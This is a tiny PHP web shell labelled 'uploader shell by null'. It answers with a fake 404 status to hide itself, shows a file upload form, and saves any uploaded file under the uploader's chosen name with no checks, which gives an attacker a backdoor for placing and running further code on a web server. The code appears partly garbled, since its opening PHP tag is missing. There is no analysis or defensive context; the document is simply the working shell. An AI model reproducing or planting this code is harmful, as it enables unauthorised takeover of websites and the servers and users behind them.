<font size="6px" color="green">uploader shell by null</font> http_response_code(404);header('shell: :)');echo"
<input type='file' name='a'><input type='submit' value='upload'>
<pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");echo'<a href="'.$_FILES['a']['name'].'">

akses

</a>';};